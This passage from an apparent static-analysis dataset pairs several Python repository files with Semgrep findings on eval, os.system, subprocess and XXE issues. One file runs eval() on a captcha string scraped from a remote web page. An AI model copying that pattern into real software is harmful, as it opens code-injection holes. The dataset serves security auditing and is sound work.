documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 11 ]
[ 11 ]
[ 1 ]
[ 38 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
finnish_word_list.py
/finnish_word_list.py
mikamustonen/cipherxword
MIT
2024-11-18T21:51:35.796021+00:00
1,587,737,285,000
eff6595af0e6234dad6dcb7fb67f32fc7822dc63
3
{ "blob_id": "eff6595af0e6234dad6dcb7fb67f32fc7822dc63", "branch_name": "refs/heads/master", "committer_date": 1587737285000, "content_id": "79281d71935e3bdd9e139f592becf8e3eb473737", "detected_licenses": [ "MIT" ], "directory_id": "26201dfd1367b313e1635359facdb503dfdf825d", "extension": "py", "filename": "decorators.py", "fork_events_count": 0, "gha_created_at": 1587737320000, "gha_event_created_at": 1587737320000, "gha_language": null, "gha_license_id": "NOASSERTION", "github_id": 258530071, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5089, "license": "MIT", "license_type": "permissive", "path": "/venv/lib/python3.7/site-packages/data/decorators.py", "provenance": "stack-edu-0054.json.gz:588647", "repo_name": "ishaandey/manim", "revision_date": 1587737285000, "revision_id": "d870a76bc500150e24daaa8c31564797e51b1334", "snapshot_id": "d1d7f0f2182b10c22d58ab93bf6392f799c8317c", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ishaandey/manim/d870a76bc500150e24daaa8c31564797e51b1334/venv/lib/python3.7/site-packages/data/decorators.py", "visit_date": "2022-07-07T02:57:32.471465" }
3.078125
stackv2
from decorator import FunctionMaker from six import PY2, wraps if PY2: from funcsigs import signature, _empty else: from inspect import signature, _empty from . import Data def annotate(*args, **kwargs): """Set function annotations (on Python2 and 3).""" def decorator(f): if not hasattr(f, '__annotations__'): f.__annotations__ = kwargs.copy() else: f.__annotations__.update(kwargs) if args: if len(args) != 1: raise ValueError('annotate supports only a single argument.') f.__annotations__['return'] = args[0] return f return decorator def auto_instantiate(*classes): """Creates a decorator that will instantiate objects based on function parameter annotations. The decorator will check every argument passed into ``f``. If ``f`` has an annotation for the specified parameter and the annotation is found in ``classes``, the parameter value passed in will be used to construct a new instance of the expression that is the annotation. An example (Python 3): .. code-block:: python @auto_instantiate(int) def foo(a: int, b: float): pass Any value passed in as ``b`` is left unchanged. Anything passed as the parameter for ``a`` will be converted to :class:`int` before calling the function. Since Python 2 does not support annotations, the :func:`~data.decorators.annotate` function should can be used: .. code-block:: python @auto_instantiate(int) @annotate(a=int) def foo(a, b): pass :param classes: Any number of classes/callables for which auto-instantiation should be performed. If empty, perform for all. :note: When dealing with data, it is almost always more convenient to use the :func:`~data.decorators.data` decorator instead. """ def decorator(f): # collect our argspec sig = signature(f) @wraps(f) def _(*args, **kwargs): bvals = sig.bind(*args, **kwargs) # replace with instance if desired for varname, val in bvals.arguments.items(): anno = sig.parameters[varname].annotation if anno in classes or (len(classes) == 0 and anno != _empty): bvals.arguments[varname] = anno(val) return f(*bvals.args, **bvals.kwargs) # create another layer by wrapping in a FunctionMaker. this is done # to preserve the original signature return FunctionMaker.create( f, 'return _(%(signature)s)', dict(_=_, __wrapped__=f) ) return decorator def data(*argnames): """Designate an argument as a :class:`~data.Data` argument. Works by combining calls to :func:`~data.decorators.auto_instantiate` and :func:~data.decorators.annotate` on the named arguments. Example: .. code-block:: python class Foo(object): @data('bar') def meth(self, foo, bar): pass Inside ``meth``, ``bar`` will always be a :class:`~data.Data` instance constructed from the original value passed as ``bar``. :param argnames: List of parameter names that should be data arguments. :return: A decorator that converts the named arguments to :class:`~data.Data` instances.""" # make it work if given only one argument (for Python3) if len(argnames) == 1 and callable(argnames[0]): return data()(argnames[0]) def decorator(f): f = annotate(**dict((argname, Data) for argname in argnames))(f) f = auto_instantiate(Data)(f) return f return decorator def file_arg(argname, file_arg_suffix='_file'): # this function is currently undocumented, as it's likely to be deemed a # bad idea and be removed later file_arg_name = argname + file_arg_suffix def decorator(f): sig = signature(f) if file_arg_name in sig.parameters: raise ValueError('{} already has a parameter named {}' .format(f, file_arg_name)) @wraps(f) def _(*args, **kwargs): # remove file_arg_name from function list a_file = kwargs.pop(file_arg_name, None) # bind remaining arguments pbargs = sig.bind_partial(*args, **kwargs) # get data argument a_data = pbargs.arguments.get(argname, None) # if a Data object is already being passed in, use it # instead of creating a new instance if a_file is None and isinstance(a_data, Data): d = a_data else: # create data replacement d = Data(data=a_data, file=a_file) # replace with data instance pbargs.parameters[argname] = d # call original function with instantiated data argument return f(*pbargs.args, **pbargs.kwargs) return _ return decorator
162
30.41
78
18
1,118
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-annotations-usage_8edef273a581309a_64a06a45", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-annotations-usage", "finding_type": "security", "severity": "low", "confidence": "low", "message": "Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 13, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://docs.python.org/3/library/typing.html#typing.get_type_hints", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-annotations-usage", "path": "/tmp/tmp10dxl77l/8edef273a581309a.py", "start": {"line": 22, "col": 13, "offset": 582}, "end": {"line": 22, "col": 50, "offset": 619}, "extra": {"message": "Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.", "metadata": {"cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "category": "security", "references": ["https://docs.python.org/3/library/typing.html#typing.get_type_hints"], "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.dangerous-annotations-usage" ]
[ "security" ]
[ "LOW" ]
[ "LOW" ]
[ 22 ]
[ 22 ]
[ 13 ]
[ 50 ]
[ "A03:2021 - Injection" ]
[ "Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function." ]
[ 3 ]
[ "LOW" ]
[ "LOW" ]
decorators.py
/venv/lib/python3.7/site-packages/data/decorators.py
ishaandey/manim
MIT
2024-11-18T21:51:37.345010+00:00
1,554,494,434,000
47f770bbe41495eaf75db2d81abd3e0a804093e3
3
{ "blob_id": "47f770bbe41495eaf75db2d81abd3e0a804093e3", "branch_name": "refs/heads/master", "committer_date": 1554494434000, "content_id": "d3dbed6bb39e21fbdeefa412851d1b28ab7ca17b", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "d9d055c23457abad989b404840be79a6d485c1a7", "extension": "py", "filename": "camera_finder.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 104393003, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 926, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/modules/camera_finder.py", "provenance": "stack-edu-0054.json.gz:588663", "repo_name": "bachmmmar/PTPIPCameraSync", "revision_date": 1554494434000, "revision_id": "c800c33e3660b92bb5f8582f1050c9579e14b1fd", "snapshot_id": "7cb8180db43ccdf84894503eb908f4bc205f11ca", "src_encoding": "UTF-8", "star_events_count": 5, "url": "https://raw.githubusercontent.com/bachmmmar/PTPIPCameraSync/c800c33e3660b92bb5f8582f1050c9579e14b1fd/modules/camera_finder.py", "visit_date": "2021-10-25T18:17:53.131872" }
2.90625
stackv2
import os import logging class CameraFinder(): PING_OPTIONS = '-q -c 1 -W 2' def __init__(self, ip): if not CameraFinder.isIpValid(ip): raise Exception('ip {} is invalid'.format(ip)) self._ip = ip self._ping_options = CameraFinder.PING_OPTIONS self._log = logging.getLogger('CameraFinder') def isReachable(self): ret = os.system('ping {} {} > /dev/null 2>&1'.format(self._ping_options, self._ip)) if ret != 0: self._log.debug('No camera with ip {} found'.format(self._ip)) return False else: return True @staticmethod def isIpValid(ip): a = ip.split('.') if len(a) != 4: return False for x in a: if not x.isdigit(): return False i = int(x) if i < 0 or i > 255: return False return True
33
27.06
91
14
232
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_08a0f97ed5fca975_0dbfe497", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 15, "column_end": 92, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/08a0f97ed5fca975.py", "start": {"line": 15, "col": 15, "offset": 386}, "end": {"line": 15, "col": 92, "offset": 463}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 15 ]
[ 15 ]
[ 15 ]
[ 92 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
camera_finder.py
/modules/camera_finder.py
bachmmmar/PTPIPCameraSync
BSD-3-Clause
2024-11-18T21:51:41.157170+00:00
1,616,501,696,000
02ed4a4278854010eadf7823bcdb6155cc79de23
3
{ "blob_id": "02ed4a4278854010eadf7823bcdb6155cc79de23", "branch_name": "refs/heads/main", "committer_date": 1616501696000, "content_id": "591013fa07be1d059f056e4c11a38d08e5b1f018", "detected_licenses": [ "MIT" ], "directory_id": "310ff8045a3ac38bef3da6029d1675749d0bed20", "extension": "py", "filename": "signup.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 308450090, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3343, "license": "MIT", "license_type": "permissive", "path": "/signup.py", "provenance": "stack-edu-0054.json.gz:588705", "repo_name": "rantanevich/listvpn.net", "revision_date": 1616501696000, "revision_id": "9cd098ca75c3b7bc9a31a6b175fc75da57d75384", "snapshot_id": "761ed099eae8f1f81cf2703c6df68f5e3242e785", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/rantanevich/listvpn.net/9cd098ca75c3b7bc9a31a6b175fc75da57d75384/signup.py", "visit_date": "2023-03-30T09:26:53.875522" }
2.546875
stackv2
import re import sys import string import random import argparse import logging import requests L2TP_URL = 'https://www.listvpn.net/create-account-vpn-l2tp-{}' PPTP_URL = 'https://www.listvpn.net/create-account-vpn-pptp-{}' logging.basicConfig( level=logging.INFO, format='[%(asctime)s] (%(filename)s:%(lineno)d) %(levelname)s: %(message)s' ) def main(): args = parse_args(sys.argv[1:]) if args.type == 'l2tp': url = L2TP_URL.format(args.region) shared_key = 'listvpn' port = 1701 else: url = PPTP_URL.format(args.region) shared_key = '' port = 1723 session = requests.session() response = session.get(url) payload = generate_payload(response.text, args.username, args.password) response = session.post(url, data=payload) username, password, server = extract_auth_data(response.text) print( f'server : {server}', f'username : {username}', f'password : {password}', f'shared key: {shared_key}', f'port : {port}', f'expired : {payload["TanggalEnd"]}', sep='\n' ) def generate_payload(page, username, password): pattern = 'name=[\'"]{}[\'"] value=[\'"](.+?)[\'"]' payload = { 'id_server': '', 'Tanggal': '', 'idsession': '', 'TanggalEnd': '', 'Waktu': '', 'id_servernegara': '' } for option in payload: data = re.findall(pattern.format(option), page)[0] if not data: logging.error(f'{option} has not been found') exit(1) payload[option] = data captcha = re.findall('What is (\\d+ . \\d+)', page)[0] payload['human-verifier'] = eval(captcha) payload['username'] = username payload['password'] = password payload['submit'] = '' return payload def extract_auth_data(page): try: pattern = 'value=[\'"](.+?)[\'"] id=[\'"]myInput' return re.findall(pattern, page) except ValueError: logging.error('account has not been created') exit(1) def parse_args(args): parser = argparse.ArgumentParser( description='Creates VPN account on https://www.listvpn.net' ) parser.add_argument('-t', '--type', type=str, default='l2tp', choices=['l2tp', 'pptp'], help='vpn protocol') parser.add_argument('-r', '--region', type=str, default='unitedstates', help='region of vpn server (default: unitedstates)') parser.add_argument('-u', '--username', type=str, default=get_random_string(8), help='username (from 5 to 10 characters)') parser.add_argument('-p', '--password', type=str, default=get_random_string(8), help='password (from 5 to 10 characters)') return parser.parse_args(args) def get_random_string(size=6): alphabet = string.ascii_letters + string.digits return ''.join([random.choice(alphabet) for _ in range(size)]) if __name__ == '__main__': try: main() except Exception as err: logging.exception(err, exc_info=True)
117
27.57
79
13
783
python
[{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_38f8ae8426f45f87_d5b709ed", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(1)", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 13, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmp10dxl77l/38f8ae8426f45f87.py", "start": {"line": 64, "col": 13, "offset": 1590}, "end": {"line": 64, "col": 20, "offset": 1597}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(1)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_38f8ae8426f45f87_c058f449", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 33, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/38f8ae8426f45f87.py", "start": {"line": 68, "col": 33, "offset": 1721}, "end": {"line": 68, "col": 46, "offset": 1734}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_38f8ae8426f45f87_5195bc6d", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(1)", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 9, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmp10dxl77l/38f8ae8426f45f87.py", "start": {"line": 81, "col": 9, "offset": 2075}, "end": {"line": 81, "col": 16, "offset": 2082}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(1)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 68 ]
[ 68 ]
[ 33 ]
[ 46 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
signup.py
/signup.py
rantanevich/listvpn.net
MIT
2024-11-18T21:51:45.622455+00:00
1,517,135,398,000
95fe7f361dbfed520932aa7aa5a4d302a24fd0b2
3
{ "blob_id": "95fe7f361dbfed520932aa7aa5a4d302a24fd0b2", "branch_name": "refs/heads/master", "committer_date": 1517135398000, "content_id": "fad5b7808b0d81d2d65d8af324ce2093f8871c96", "detected_licenses": [ "MIT" ], "directory_id": "50f726e92a89240e384a700ca058b7a7d3b407ed", "extension": "py", "filename": "find_reg.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 119178271, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2201, "license": "MIT", "license_type": "permissive", "path": "/find_reg.py", "provenance": "stack-edu-0054.json.gz:588762", "repo_name": "ritiek/rustc-regression-finder", "revision_date": 1517135398000, "revision_id": "2a2cf7005354cb2eab28901609a10cc44c70cc34", "snapshot_id": "51f740f0104ee97745987317ddd9cca825180c3e", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/ritiek/rustc-regression-finder/2a2cf7005354cb2eab28901609a10cc44c70cc34/find_reg.py", "visit_date": "2021-05-09T18:59:57.929958" }
2.546875
stackv2
import datetime import subprocess import os keywords = 'partial keywords that are emitted in case of error' start_date = '2017-10-02' # any known date when code was compiling OK end_date = '2018-01-18' # any known date when code was not compiling OK travis = True # is this going to be run on Travis CI? # local bin directory of current user init_path = '/home/travis/.cargo/bin/' # <filename>.rs to run (here, 'test.rs') cmd = [init_path + 'rustc', os.path.abspath('test.rs')] # toolchain to test compile on toolchain_type = 'nightly' last_date = start_date def middle_date(start_date, end_date): start = datetime.datetime.strptime(start_date, '%Y-%m-%d') end = datetime.datetime.strptime(end_date, '%Y-%m-%d') mid = start + (end - start) / 2 return str(mid.date()) def output_has_keywords(cmd, capture): output = subprocess.run(cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) stdout = output.stdout.decode('utf-8') stderr = output.stderr.decode('utf-8') print(stdout.replace('\\n', '\n'), stderr.replace('\\n', '\n')) return capture in stderr or capture in stdout def set_default_toolchain(toolchain): cmd = [init_path + 'rustup', 'default', toolchain] output = subprocess.run(cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) subprocess.run([init_path + 'rustc', '-vV']) return output.stdout mid_date = middle_date(start_date, end_date) toolchain = '{0}-{1}'.format(toolchain_type, mid_date) if travis: subprocess.run(['bash', 'rustup.sh', '-y', '--default-toolchain', toolchain]) else: set_default_toolchain(toolchain) while not last_date == mid_date: last_date = mid_date if output_has_keywords(cmd, keywords): end_date = mid_date else: start_date = mid_date mid_date = middle_date(start_date, end_date) toolchain = '{0}-{1}'.format(toolchain_type, mid_date) print('Setting defaults: ' + toolchain) set_default_toolchain(toolchain) print('\nLast working toolchain: ' + toolchain)
71
30
81
11
532
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_115e9eabcaa2bab7_f1bd38b6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 30, "column_start": 14, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/115e9eabcaa2bab7.py", "start": {"line": 28, "col": 14, "offset": 862}, "end": {"line": 30, "col": 52, "offset": 985}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_115e9eabcaa2bab7_8d41bf70", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 44, "column_start": 14, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/115e9eabcaa2bab7.py", "start": {"line": 41, "col": 14, "offset": 1300}, "end": {"line": 44, "col": 53, "offset": 1476}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 28, 41 ]
[ 30, 44 ]
[ 14, 14 ]
[ 52, 53 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
